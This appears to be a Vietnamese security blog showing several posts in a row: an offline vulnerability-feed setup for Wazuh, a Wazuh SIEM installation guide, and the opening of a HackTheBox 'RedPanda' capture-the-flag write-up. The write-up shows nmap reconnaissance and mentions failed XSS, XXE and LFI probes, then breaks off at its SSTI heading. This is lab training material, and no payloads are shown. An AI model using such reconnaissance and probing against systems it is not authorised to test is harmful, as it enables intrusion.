    <frequency>30</frequency>
  </localfile>
</ossec_config>

Lưu lại file và khởi động lại dịch vụ

systemctl restart wazuh-agent

Chờ 1 lúc để hệ thống tạo kết nối và vào Manager để kiểm tra lại.

Cấu hình Wazuh vulnerability detection

  1. Downloading the specific vulnerability files
    1. Linux OS
      1. Ubuntu
      2. Debian
      3. Debian Security Tracker JSON feed
      4. Red Hat
    2. Windows OS
  2. Offline update script
    1. Red Hat Security Data JSON feed
    2. National Vulnerability Database
    3. Automate cronjob
  3. Offline update sample

Sau khi đã cài đặt xong các thành phần cũng như cài đặt những Agent đầu tiên trong hệ thống để bắt đầu nhận log, tôi nhận ra một vấn đề là Wazuh manager của tôi không đưa ra được cảnh bảo, không phát hiện được CVE hay điểm yếu nào. Chắc chắn không phải do máy tôi sạch, làm gì có máy nào “sạch” hoàn toàn =)))

Sau một lúc đọc Doc của Wazuh và đối chiếu với hệ thống, tôi nhận ra tôi đã quên mất trong hệ thống của mình có web gateway, và việc các trang web bị chặn bởi proxy là bình thường. Vậy nên việc của tôi bây h là cần phải cấu hình thủ công để wazuh tự động cập nhật mỗi khi có lỗ hổng mới.

Quy trình của việc này sẽ là tải các file xml chứa thông tin của các CVE tương ứng với các phiên bản Agent và sau đó tạo 1 cron job để nó chạy tự động.

Bài viết này dựa trên phần Offline-update của Wazuh documentation.

Downloading the specific vulnerability files

Việc đầu tiên là tải các file xml chứa lỗ hổng cho từng phiên bản hệ điều hành của Agent có thể xuất hiện trong môi trường doanh nghiệp của chúng ta.

Như đã nói ở trên, do không thể tải trực tiếp các file từ máy chủ wazuh nên tôi sẽ tải tất cả về máy cá nhân và chuyển nó về máy chủ wazuh (có thể bằng ssh hoặc chức năng truyền file trên các phần mềm ssh như: Mobaxterm, Termius, …)

Trước tiên tôi sẽ tạo 1 thư mục để lưu hết các file sẽ tải về.

mkdir /var/ossec/offline-update

Linux OS

Tải xuống các file của các phiên bản Linux theo link bên dưới.

Ubuntu

OS Files
Trusty com.ubuntu.trusty.cve.oval.xml.bz2
Xenial com.ubuntu.xenial.cve.oval.xml.bz2
Bionic com.ubuntu.bionic.cve.oval.xml.bz2
Focal com.ubuntu.focal.cve.oval.xml.bz2
Jammy com.ubuntu.jammy.cve.oval.xml.bz2

Debian

OS Files
Bullseye oval-definitions-bullseye.xml
Buster oval-definitions-buster.xml

Debian Security Tracker JSON feed

OS Files
ALL Debian Security Tracker JSON

Red Hat

OS Files
5 com.redhat.rhsa-RHEL5.xml.bz2
6 rhel-6-including-unpatched.oval.xml.bz2
7 rhel-7-including-unpatched.oval.xml.bz2
8 rhel-8-including-unpatched.oval.xml.bz2
9 rhel-9-including-unpatched.oval.xml.bz2

Windows OS

OS Files
ALL msu-updates.json.gz

Sau khi đã tải xong tất cả các file trên, tôi sẽ phải chuyển nó về thư mục /offline-update/ mà tôi đã tạo từ ban đầu trên máy chủ wazuh.

Offline update script

Vì là offile update nên Wazuh sẽ không tự động cập nhật các pack trên mỗi khi có CVE hay lỗ hổng mới. Tôi sẽ sử dụng script để nó update tự động, và ở đây tôi chọn update tự động sau mỗi 1h.

Red Hat Security Data JSON feed

Wazuh có cung cấp 2 script để phục vụ cho việc update thủ công. Script đầu tiền dùng để update các CVE mới mỗi khi nó được công bố, và được cập nhật liên tục từ năm 1999.

Đầu tiền tôi tạo 1 folder để lưu các feeds

mkdir /var/ossec/offline-update/rh-feed

Tải script đó về và chạy

/var/ossec/offline-update/rh-generator.sh /var/ossec/offline-update/rh-feed

Sau khi chạy script đã chạy xong, vào lại thư mục để kiểm tra

root@siem:~# ll /var/ossec/offline-update/rh-feed/
total 22312
drwxr-xr-x 2 root wazuh    4096 Jun  2 16:00 ./
drwxr-xr-x 4 root wazuh    4096 Apr 20 16:44 ../
-rw-r--r-- 1 root root   775209 Jun  2 16:00 redhat-feed10.json
-rw-r--r-- 1 root root   956401 Jun  2 16:00 redhat-feed11.json
-rw-r--r-- 1 root root   966884 Jun  2 16:00 redhat-feed12.json
-rw-r--r-- 1 root root   730036 Jun  2 16:00 redhat-feed13.json
-rw-r--r-- 1 root root   686898 Jun  2 16:00 redhat-feed14.json
-rw-r--r-- 1 root root   880443 Jun  2 16:00 redhat-feed15.json
-rw-r--r-- 1 root root   727703 Jun  2 16:00 redhat-feed16.json
-rw-r--r-- 1 root root   752990 Jun  2 16:00 redhat-feed17.json
-rw-r--r-- 1 root root   869173 Jun  2 16:00 redhat-feed18.json
-rw-r--r-- 1 root root   946425 Jun  2 16:00 redhat-feed19.json
-rw-r--r-- 1 root root   666265 Jun  2 16:00 redhat-feed1.json
-rw-r--r-- 1 root root   991033 Jun  2 16:00 redhat-feed20.json
-rw-r--r-- 1 root root   934536 Jun  2 16:00 redhat-feed21.json
-rw-r--r-- 1 root root   814900 Jun  2 16:00 redhat-feed22.json
-rw-r--r-- 1 root root   776735 Jun  2 16:00 redhat-feed23.json
-rw-r--r-- 1 root root   572706 Jun  2 16:00 redhat-feed24.json
-rw-r--r-- 1 root root   567478 Jun  2 16:00 redhat-feed25.json
-rw-r--r-- 1 root root   518678 Jun  2 16:00 redhat-feed26.json
-rw-r--r-- 1 root root   511669 Jun  2 16:00 redhat-feed27.json
-rw-r--r-- 1 root root   399497 Jun  2 16:00 redhat-feed28.json
-rw-r--r-- 1 root root   137052 Jun  2 16:00 redhat-feed29.json
-rw-r--r-- 1 root root  1026736 Jun  2 16:00 redhat-feed2.json
-rw-r--r-- 1 root root   898897 Jun  2 16:00 redhat-feed3.json
-rw-r--r-- 1 root root   797044 Jun  2 16:00 redhat-feed4.json
-rw-r--r-- 1 root root   803644 Jun  2 16:00 redhat-feed5.json
-rw-r--r-- 1 root root   913641 Jun  2 16:00 redhat-feed6.json
-rw-r--r-- 1 root root  1422008 Jun  2 16:00 redhat-feed7.json
-rw-r--r-- 1 root root   853773 Jun  2 16:00 redhat-feed8.json
-rw-r--r-- 1 root root   884240 Jun  2 16:00 redhat-feed9.json

National Vulnerability Database

Script thứ 2 dùng để update thủ công cơ sở dữ liệu lỗ hổng NVD. Tôi cũng phải tạo 1 thư mục để cập nhật lỗ hổng của các năm cho đến thời điểm hiện tại.

mkdir /var/ossec/offline-update/nvd-feed

Để chạy script này, tôi cần xác định năm mà tôi muốn lấy lỗ hổng. Tôi sẽ lấy tất cả lỗ hổng và cập nhật nó kể từ năm 2002 đến nay

/var/ossec/offline-update/nvd-generator.sh 2002 /var/ossec/offline-update/nvd-feed

Sau khi chạy script đã chạy xong, vào lại thư mục để kiểm tra

root@siem:~# ll /var/ossec/offline-update/nvd-feed/
total 58420
drwxr-xr-x 2 root wazuh    4096 Jun  1 18:00 ./
drwxr-xr-x 4 root wazuh    4096 Apr 20 16:44 ../
-rw-r--r-- 1 root root  1460135 Jun  2 15:00 nvd-feed2002.json.gz
-rw-r--r-- 1 root root   435532 Jun  2 15:00 nvd-feed2003.json.gz
-rw-r--r-- 1 root root    97973 Jun  2 15:03 nvd-feed2004.json.gz
-rw-r--r-- 1 root root  1345598 Jun  2 15:03 nvd-feed2005.json.gz
-rw-r--r-- 1 root root  2131988 Jun  2 15:03 nvd-feed2006.json.gz
-rw-r--r-- 1 root root  2108354 Jun  2 15:03 nvd-feed2007.json.gz
-rw-r--r-- 1 root root  2160683 Jun  2 15:03 nvd-feed2008.json.gz
-rw-r--r-- 1 root root  1965308 Jun  2 15:03 nvd-feed2009.json.gz
-rw-r--r-- 1 root root  1925207 Jun  2 15:03 nvd-feed2010.json.gz
-rw-r--r-- 1 root root  1813239 Jun  2 15:03 nvd-feed2011.json.gz
-rw-r--r-- 1 root root  2021518 Jun  2 15:03 nvd-feed2012.json.gz
-rw-r--r-- 1 root root  2415597 Jun  2 15:03 nvd-feed2013.json.gz
-rw-r--r-- 1 root root  2345483 Jun  2 15:03 nvd-feed2014.json.gz
-rw-r--r-- 1 root root  2239999 Jun  2 15:04 nvd-feed2015.json.gz
-rw-r--r-- 1 root root  2701974 Jun  2 15:04 nvd-feed2016.json.gz
-rw-r--r-- 1 root root  3832210 Jun  2 15:04 nvd-feed2017.json.gz
-rw-r--r-- 1 root root  4138080 Jun  2 15:04 nvd-feed2018.json.gz
-rw-r--r-- 1 root root  4706272 Jun  2 15:04 nvd-feed2019.json.gz
-rw-r--r-- 1 root root  5726147 Jun  2 15:04 nvd-feed2020.json.gz
-rw-r--r-- 1 root root  6358273 Jun  2 15:04 nvd-feed2021.json.gz
-rw-r--r-- 1 root root  6028683 Jun  2 15:04 nvd-feed2022.json.gz
-rw-r--r-- 1 root root  1819248 Jun  2 15:04 nvd-feed2023.json.gz

Automate cronjob

Tôi sẽ tạo 1 cronjob để sau mỗi giờ, hệ thống có thể tự chạy 2 script và tự động update.

nano /etc/crontab

Thêm 2 dòng bên dưới vào cuối file crontab

0 * * * * root /var/ossec/offline-update/rh-generator.sh /var/ossec/offline-update/rh-feed/
0 * * * * root /var/ossec/offline-update/nvd-generator.sh 2002 /var/ossec/offline-update/nvd-feed/

Lưu lại file và khởi động lại dịch vụ cron

systemctl restart cron

Offline update sample

Sau khi đã thực hiện các bước tải và định vị trí cho các file, tôi sẽ cấu hình lại đường dẫn trong file ossec.conf giống như bên dưới

  <vulnerability-detector>
    <enabled>yes</enabled>
    <interval>5m</interval>
    <min_full_scan_interval>6h</min_full_scan_interval>
    <run_on_start>yes</run_on_start>

    <!-- Ubuntu OS vulnerabilities -->
    <provider name="canonical">
      <enabled>yes</enabled>
      <os path="/var/ossec/offline-update/com.ubuntu.trusty.cve.oval.xml.bz2">trusty</os>
      <os path="/var/ossec/offline-update/com.ubuntu.xenial.cve.oval.xml.bz2">xenial</os>
      <os path="/var/ossec/offline-update/com.ubuntu.bionic.cve.oval.xml.bz2">bionic</os>
      <os path="/var/ossec/offline-update/com.ubuntu.focal.cve.oval.xml.bz2">focal</os>
      <os path="/var/ossec/offline-update/com.ubuntu.jammy.cve.oval.xml.bz2">jammy</os>
      <update_interval>1h</update_interval>
    </provider>

    <!-- Debian OS vulnerabilities -->
    <provider name="debian">
      <enabled>yes</enabled>
      <os path="/var/ossec/offline-update/oval-definitions-buster.xml">buster</os>
      <os path="/var/ossec/offline-update/oval-definitions-bullseye.xml">bullseye</os>
      <path>/var/ossec/offline-update/security_tracker_local.json</path>
      <update_interval>1h</update_interval>
    </provider>

    <!-- RedHat OS vulnerabilities -->
    <provider name="redhat">
      <enabled>yes</enabled>
      <os path="/var/ossec/offline-update/com.redhat.rhsa-RHEL5.xml.bz2">5</os>
      <os path="/var/ossec/offline-update/rhel-6-including-unpatched.oval.xml.bz2">6</os>
      <os path="/var/ossec/offline-update/rhel-7-including-unpatched.oval.xml.bz2">7</os>
      <os path="/var/ossec/offline-update/rhel-8-including-unpatched.oval.xml.bz2">8</os>
      <os path="/var/ossec/offline-update/rhel-9-including-unpatched.oval.xml.bz2">9</os>
      <path>/var/ossec/offline-update/rh-feed/redhat-feed[[:digit:]]\+\.json$</path>
      <update_interval>1h</update_interval>
    </provider>

    <!-- Amazon Linux OS vulnerabilities -->
    <provider name="alas">
      <enabled>no</enabled>
      <os>amazon-linux</os>
      <os>amazon-linux-2</os>
      <update_interval>1h</update_interval>
    </provider>

    <!-- SUSE OS vulnerabilities -->
    <provider name="suse">
      <enabled>no</enabled>
      <os>11-server</os>
      <os>11-desktop</os>
      <os>12-server</os>
      <os>12-desktop</os>
      <os>15-server</os>
      <os>15-desktop</os>
      <update_interval>1h</update_interval>
    </provider>

    <!-- Arch OS vulnerabilities -->
    <provider name="arch">
      <enabled>no</enabled>
      <update_interval>1h</update_interval>
    </provider>

    <!-- Windows OS vulnerabilities -->
    <provider name="msu">
      <enabled>yes</enabled>
      <path>/var/ossec/offline-update/msu-updates\.json\.gz$</path>
      <update_interval>1h</update_interval>
    </provider>

    <!-- Aggregate vulnerabilities -->
    <provider name="nvd">
      <enabled>yes</enabled>
      <path>/var/ossec/offline-update/nvd-feed/nvd-feed[[:digit:]]\{4\}\.json\.gz$</path>
      <update_from_year>2010</update_from_year>
      <update_interval>1h</update_interval>
    </provider>

  </vulnerability-detector>

Xem thêm về cấu hình tại đây

Cài đặt và cấu hình hệ thống WAZUH

  1. Kiến trúc
  2. WAZUH INDEXER
    1. Certificates creation
    2. Node installation
    3. Cluster initialization
  3. WAZUH MANAGER
    1. Wazuh server node installation
  4. WAZUH DASHBOARD

intro

Do đặc thù công việc nên từ một người làm Pentest tôi phải chuyển sang làm SOC và đảm nhiệm việc xây dựng hệ thống SIEM. Mặc dù thời điểm hiện tại có rất nhiều sản phẩm thương mại đã hoàn thiện, chỉ chờ doanh nghiệp mua về và vận hành thôi. Tuy nhiên chi phí cho các sản phẩm này là một trở ngại đối với các doanh nghiệp vừa và nhỏ (nó đắt :laughing:).

Vậy nên vừa để có thêm kiến thức và để tiết kiệm chi phí, tôi sẽ tự xây dựng hệ thống SIEM dựa trên open source. Một trong những open source mạnh mẽ nhất (hoặc là do tôi nghĩ thế) là WAZUH

Wazuh là một nền tảng bảo mật mã nguồn mở và miễn phí, hợp nhất các khả năng của XDR và ​​SIEM, không chỉ cho phép các công ty phát hiện các mối đe dọa tinh vi mà còn có thể giúp ngăn ngừa vi phạm và rò rỉ dữ liệu xảy ra.

Hiện tại thì tôi đang triển khai nó trên môi trường thực tế, vậy nên chắc chắn là nó hoạt động.

Kiến trúc

kiến trúc

Đọc thêm về cấu trúc tại đây hoặc là đây

Hiện tại thì WAZUH đang ở phiên bản 4.4 vậy nên tất cả cài đặt và cấu hình trong bài này cũng sẽ ở phiên bản 4.4, trong trường hợp có các cập nhật mới, chỉ cần thay đổi tên phiên bản (nếu) xuất hiện trong các link cài đặt.

WAZUH INDEXER

Để không gặp các lỗi trong quá trình cài đặt, phải sử dụng quyền root

Certificates creation

Tải tool tạo cert và file config của wazuh về

curl -sO https://packages.wazuh.com/4.4/wazuh-certs-tool.sh
curl -sO https://packages.wazuh.com/4.4/config.yml

Vào config.yml

nano config.yml

Thay đổi các giá trị “name” và “ip” thành tên là ip của server (Trường hợp tách wazuh-indexer và wazuh-manager thành 2 máy chủ vật lý thì phải đặt đúng ip của từng máy chủ).

nodes:
  # Wazuh indexer nodes
  indexer:
    - name: dc-indexer
      ip: 10.10.24.1
    #- name: node-2
    #  ip: <indexer-node-ip>
    #- name: node-3
    #  ip: <indexer-node-ip>

  # Wazuh server nodes
  # If there is more than one Wazuh server
  # node, each one must have a node_type
  server:
    - name: dc-manager
      ip: 10.10.24.1
    #  node_type: master
    #- name: wazuh-2
    #  ip: <wazuh-manager-ip>
    #  node_type: worker
    #- name: wazuh-3
    #  ip: <wazuh-manager-ip>
    #  node_type: worker

  # Wazuh dashboard nodes
  dashboard:
    - name: dc-dashboard
      ip: 10.10.24.1

Chạy wazuh-certs-tool.sh để tạo cert

bash ./wazuh-certs-tool.sh -A
tar -cvf ./wazuh-certificates.tar -C ./wazuh-certificates/ .

Node installation

Cài đặt các gói còn thiếu

apt-get install debconf adduser procps
apt-get install gnupg apt-transport-https

Tạo wazuh repository

curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" | tee -a /etc/apt/sources.list.d/wazuh.list
apt-get update

Cài đặt wazuh-indexer

apt-get -y install wazuh-indexer

Cấu hình các thông số trong opensearch

nano /etc/wazuh-indexer/opensearch.yml
network.host: 10.10.24.1
node.name: dc-indexer
cluster.initial_master_nodes:
- "dc-indexer"
.
discovery.seed_hosts:		# bỏ dấu “#” ở đầu dòng 
  - "10.10.24.1"			# bỏ dấu “#” ở đầu dòng
.
path.logs: /var/log/wazuh-indexer
bootstrap.memory_lock: true
.
plugins.security.nodes_dn:
- "CN=dc-indexer,OU=Wazuh,O=Wazuh,L=California,C=US"
#- "CN=node-2,OU=Wazuh,O=Wazuh,L=California,C=US"

Tạo cert. Đặt tên node name giống tên node name cấu hình trong file opensearch.yml

NODE_NAME=dc-indexer
mkdir /etc/wazuh-indexer/certs
tar -xf ./wazuh-certificates.tar -C /etc/wazuh-indexer/certs/ ./$NODE_NAME.pem ./$NODE_NAME-key.pem ./admin.pem ./admin-key.pem ./root-ca.pem
mv -n /etc/wazuh-indexer/certs/$NODE_NAME.pem /etc/wazuh-indexer/certs/indexer.pem
mv -n /etc/wazuh-indexer/certs/$NODE_NAME-key.pem /etc/wazuh-indexer/certs/indexer-key.pem
chmod 500 /etc/wazuh-indexer/certs
chmod 400 /etc/wazuh-indexer/certs/*
chown -R wazuh-indexer:wazuh-indexer /etc/wazuh-indexer/certs

Chỉnh sửa giới hạn tài nguyên hệ thống

nano /usr/lib/systemd/system/wazuh-indexer.service
[Service]
LimitMEMLOCK=infinity	# Thêm dòng này 

Tăng kích thước không gian heap

nano /etc/wazuh-indexer/jvm.options

Tài liệu Wazuh khuyến cáo không gian heap sử dụng tối thiểu bằng nửa tổng dung lượng RAM hiện có. Ví dụ RAM của tôi hiện có là 8Gb thì tôi sẽ sửa 1 thành 4

# Xms represents the initial size of total heap space
# Xmx represents the maximum size of total heap space

-Xms4g
-Xmx4g

Bật và chạy dịch vụ

systemctl daemon-reload
systemctl enable wazuh-indexer
systemctl start wazuh-indexer

Cluster initialization

Chạy file /usr/share/wazuh-indexer/bin/indexer-security-init.sh trên các node để tải lên thông tin các cert đã tạo

/usr/share/wazuh-indexer/bin/indexer-security-init.sh

Kiểm tra tất cả các cài đặt đã thành công và dịch vụ không có lỗi (Lưu ý: tắt proxy trước khi thực hiện lệnh curl)

curl -k -u admin:admin https://10.10.24.1:9200

Kết quả giống bên dưới là thành công

{
  "name" : "dc-indexer",
  "cluster_name" : "wazuh-cluster",
  "cluster_uuid" : "bMz0BKdlRVui5jF-mlt6yg",
  "version" : {
    "number" : "7.10.2",
    "build_type" : "rpm",
    "build_hash" : "f2f809ea280ffba217451da894a5899f1cec02ab",
    "build_date" : "2022-12-12T22:17:42.341124910Z",
    "build_snapshot" : false,
    "lucene_version" : "8.10.1",
    "minimum_wire_compatibility_version" : "7.10.0",
    "minimum_index_compatibility_version" : "7.0.0"
  },
  "tagline" : "The OpenSearch Project: https://opensearch.org/"
}

WAZUH MANAGER

Wazuh server node installation

  • Cài đặt wazuh-manager
apt-get -y install wazuh-manager

Chạy wazuh-manager

systemctl daemon-reload
systemctl enable wazuh-manager
systemctl start wazuh-manager

Kiểm tra trạng thái wazuh-manager

systemctl status wazuh-manager
  • Cài đặt filebeat
apt-get -y install filebeat

Tải file cấu hình filebeat

curl -so /etc/filebeat/filebeat.yml https://packages.wazuh.com/4.4/tpl/wazuh/filebeat/filebeat.yml

Sửa cấu hình filebeat với hosts là ip của indexer node

nano /etc/filebeat/filebeat.yml
hosts: ["10.10.24.1:9200"]

Tạo keystore

filebeat keystore create
echo admin | filebeat keystore add username --stdin --force
echo admin | filebeat keystore add password --stdin --force

Tải template cho indexer

curl -so /etc/filebeat/wazuh-template.json https://raw.githubusercontent.com/wazuh/wazuh/4.4/extensions/elasticsearch/7.x/wazuh-template.json
chmod go+r /etc/filebeat/wazuh-template.json

Cài đặt các module của wazuh cho filebeat

curl -s https://packages.wazuh.com/4.x/filebeat/wazuh-filebeat-0.2.tar.gz | tar -xvz -C /usr/share/filebeat/module

Tạo cert cho filebeat, đặt tên NODE_NAME giống với tên của server trong file config.yml

NODE_NAME=dc-manager
mkdir /etc/filebeat/certs
tar -xf ./wazuh-certificates.tar -C /etc/filebeat/certs/ ./$NODE_NAME.pem ./$NODE_NAME-key.pem ./root-ca.pem
mv -n /etc/filebeat/certs/$NODE_NAME.pem /etc/filebeat/certs/filebeat.pem
mv -n /etc/filebeat/certs/$NODE_NAME-key.pem /etc/filebeat/certs/filebeat-key.pem
chmod 500 /etc/filebeat/certs
chmod 400 /etc/filebeat/certs/*
chown -R root:root /etc/filebeat/certs

Chạy filebeat

systemctl daemon-reload
systemctl enable filebeat
systemctl start filebeat

Kiểm tra trạng thái filebeat

filebeat test output

Kết quả giống bên dưới là thành công

elasticsearch: https://10.10.24.1:9200...
  parse url... OK
  connection...
    parse host... OK
    dns lookup... OK
    addresses: 127.0.0.1
    dial up... OK
  TLS...
    security: server's certificate chain verification is enabled
    handshake... OK
    TLS version: TLSv1.3
    dial up... OK
  talk to server... OK
  version: 7.10.2

WAZUH DASHBOARD

Tải các package còn thiếu

apt-get install debhelper tar curl libcap2-bin

Tải wazuh-dashboard

apt-get -y install wazuh-dashboard

Sửa cấu hình dashboard

nano /etc/wazuh-dashboard/opensearch_dashboards.yml
server.host: 10.10.24.1
server.port: 443
opensearch.hosts: https://10.10.24.1:9200

Tạo cert cho dashboard, đặt tên NODE_NAME giống với tên của dashboard trong file config.yml

NODE_NAME=dc-dashboard
mkdir /etc/wazuh-dashboard/certs
tar -xf ./wazuh-certificates.tar -C /etc/wazuh-dashboard/certs/ ./$NODE_NAME.pem ./$NODE_NAME-key.pem ./root-ca.pem
mv -n /etc/wazuh-dashboard/certs/$NODE_NAME.pem /etc/wazuh-dashboard/certs/dashboard.pem
mv -n /etc/wazuh-dashboard/certs/$NODE_NAME-key.pem /etc/wazuh-dashboard/certs/dashboard-key.pem
chmod 500 /etc/wazuh-dashboard/certs
chmod 400 /etc/wazuh-dashboard/certs/*
chown -R wazuh-dashboard:wazuh-dashboard /etc/wazuh-dashboard/certs

Chạy dashboard

systemctl daemon-reload
systemctl enable wazuh-dashboard
systemctl start wazuh-dashboard

Truy cập vào dashboard trên web theo địa chỉ https://10.10.24.1 với username và password mặc định admin:admin

Đổi password mặc định của tài khoản admin

curl -so wazuh-passwords-tool.sh https://packages.wazuh.com/4.4/wazuh-passwords-tool.sh
bash wazuh-passwords-tool.sh -u admin -p <mật khẩu>

Lưu ý: Nếu hệ thống có proxy (internet gateway) thì phải đặt proxy trước khi cài đặt

  • Set proxy cho apt để tải các package trên trang chủ Ubuntu

nano /etc/apt/apt.conf

Acquire::https::Proxy "http://ip:port";

Acquire::http::Proxy "http://ip:port";

Lưu file và login lại vào account

  • Set proxy cho server

nano /etc/environment

Thêm vào file các dòng sau:

HTTP_PROXY="http://ip:port"

HTTPS_PROXY="http://ip:port"

NO_PROXY="10.10.24.1,localhost,127.0.0.1,::1"

Lưu file và login lại vào account

HackTheBox - RedPanda

  1. Reconnaissance
  2. SSTI
  3. User flag
  4. SSH
  5. Privilege escalation

intro

Song song với việc reup lại những writeup cũ, tôi vẫn tiếp tục giải các CTF mới khi có thời gian. Và hôm nay, có thời gian rảnh 1 chút thì tôi thử sức với Hackthebox - RedPanda

Reconnaissance

Vẫn như thông thường, việc đầu tiên cần làm là quét các cổng đang mở trên máy chủ mục tiêu.

┌──(neokali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.170                                                        
[sudo] password for neo: 
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-24 02:27 EDT
Nmap scan report for 10.10.11.170
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
8080/tcp open  http-proxy
|_http-title: Red Panda Search | Made with Spring Boot
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Date: Mon, 24 Oct 2022 06:27:24 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en" dir="ltr">
|     <head>
|     <meta charset="utf-8">
|     <meta author="wooden_k">
|     <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
|     <link rel="stylesheet" href="css/panda.css" type="text/css">
|     <link rel="stylesheet" href="css/main.css" type="text/css">
|     <title>Red Panda Search | Made with Spring Boot</title>
|     </head>
|     <body>
|     <div class='pande'>
|     <div class='ear left'></div>
|     <div class='ear right'></div>
|     <div class='whiskers left'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='whiskers right'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='face'>
|     <div class='eye
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET,HEAD,OPTIONS
|     Content-Length: 0
|     Date: Mon, 24 Oct 2022 06:27:24 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Mon, 24 Oct 2022 06:27:24 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.93%I=7%D=10/24%Time=63563048%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,690,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;chars
SF:et=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Mon,\x2024\x20Oct\x2
SF:02022\x2006:27:24\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20ht
SF:ml>\n<html\x20lang=\"en\"\x20dir=\"ltr\">\n\x20\x20<head>\n\x20\x20\x20
SF:\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20<meta\x20author=\"wood
SF:en_k\">\n\x20\x20\x20\x20<!--Codepen\x20by\x20khr2003:\x20https://codep
SF:en\.io/khr2003/pen/BGZdXw\x20-->\n\x20\x20\x20\x20<link\x20rel=\"styles
SF:heet\"\x20href=\"css/panda\.css\"\x20type=\"text/css\">\n\x20\x20\x20\x
SF:20<link\x20rel=\"stylesheet\"\x20href=\"css/main\.css\"\x20type=\"text/
SF:css\">\n\x20\x20\x20\x20<title>Red\x20Panda\x20Search\x20\|\x20Made\x20
SF:with\x20Spring\x20Boot</title>\n\x20\x20</head>\n\x20\x20<body>\n\n\x20
SF:\x20\x20\x20<div\x20class='pande'>\n\x20\x20\x20\x20\x20\x20<div\x20cla
SF:ss='ear\x20left'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='ear\x20
SF:right'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='whiskers\x20left'
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x20\
SF:x20\x20\x20<div\x20class='whiskers\x20right'>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20<
SF:/div>\n\x20\x20\x20\x20\x20\x20<div\x20class='face'>\n\x20\x20\x20\x20\
SF:x20\x20\x20\x20<div\x20class='eye")%r(HTTPOptions,75,"HTTP/1\.1\x20200\
SF:x20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nContent-Length:\x200\r\nDate:\x20M
SF:on,\x2024\x20Oct\x202022\x2006:27:24\x20GMT\r\nConnection:\x20close\r\n
SF:\r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text
SF:/html;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x2043
SF:5\r\nDate:\x20Mon,\x2024\x20Oct\x202022\x2006:27:24\x20GMT\r\nConnectio
SF:n:\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>
SF:HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x
SF:20type=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h
SF:1,\x20h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\
SF:x20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14p
SF:x;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{heig
SF:ht:1px;background-color:#525D76;border:none;}</style></head><body><h1>H
SF:TTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></htm
SF:l>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.17 seconds
                                   
┌──(neokali)-[~]
└─$  

Truy cập vào web với port 8080

Trang web có 1 phần input, tôi thử ngay với các XSS hay XXE, nhưng đều thất bại.

web

Khi nhập thử id, tôi nhận được thông tin của 1 loại gấu trúc, nhưng thử các command khác thì đều không có kết quả. Tuy nhiên dưới phần “Author”, tôi có 1 cái tên “woodenk”, click vào nó và tôi có 2 thư mục chứa ảnh về gấu trúc. Không có gì đặc biệt để có thể khai thác ở đây.

url

Tôi nhận ra url này giống với form của PHP LFI payload nên đã thử các trường hợp nhưng đều không có kết quả.

SSTI

